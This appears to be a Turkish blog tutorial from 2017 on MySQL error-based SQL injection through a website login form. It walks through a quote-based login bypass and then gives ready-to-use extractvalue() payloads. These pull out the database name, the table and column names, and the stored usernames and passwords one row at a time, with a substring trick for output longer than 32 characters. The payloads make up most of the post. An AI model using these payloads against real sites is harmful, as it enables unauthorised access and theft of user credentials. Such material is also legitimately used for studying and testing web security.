7 Aralık 2017 Perşembe

Mysql Error Based İnjection


Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.










Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.








Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;
select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.
select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '
yukarıdaki sorgudan anlaşılacağı gibi  username='' deki ve password='' deki
tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.







Şimdi gelelim extractvalue ile veri çekmeye;
Kullanıcı adı bölümüne : a'and extractvalue(0x1,concat(0x1,(select database())))-- basit bir sorgu ile database adını çekmeyi deniyeceğiz şifre bölümüne ise ' tek tırnak koymanız yeterli -- ifadesi sorguyu kapatacağı için ' tırnak ile true döndüreceğiz sorguyu
select * from uyeler where username=a'and extractvalue(0x1,concat(0x1,(select database())))--' and password=' ve sonuçlara bakalım gördüğünüz gibi database adı geldi.






gördüğünüz gibi database adı geldi. Şimdi kolonları çekelim;

and extractvalue(0x1,concat(0x1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- yazıyoruz;







şimdi tek tek limitimizi değiştirip tek tek sorguları ekrana yazdırıyoruz.

and extractvalue(0x1,concat(0x1,(select column_name from information_schema.columns where table_schema=database() and table_name='uyeler' limit 0,1)))--
Not:Eğer -- veya # sorgu sonlandırılmıyorsa sorgunun sonuna and'1 ekleyerek de sorgunun syntax hatasız çalışması sağlanır.







üyeler tablosundakileri listeledik id , username , password var benim işimi yarıcak iki veri var username ve password şimdi sorgumuzu ona göre yazıp username ve password daki verileri ekrana yazdıracağız ve sonuç alttaki resimde olduğu gibi eğer veritabanında birden çok veri varsa limiti değiştirip çekebilirsiniz.





Not: Extravalue toplam 32 karakter döndürür daha fazlasını okumak için substring kullanılır.
Örnek Sorgu:'and 1=extravalue(null,concat(0x3a,(select substring(table_name,32,32) from information_schema.tables where table_schema=database() limit 1 offset 0)))

İyi günler.


EmojilerEmojiler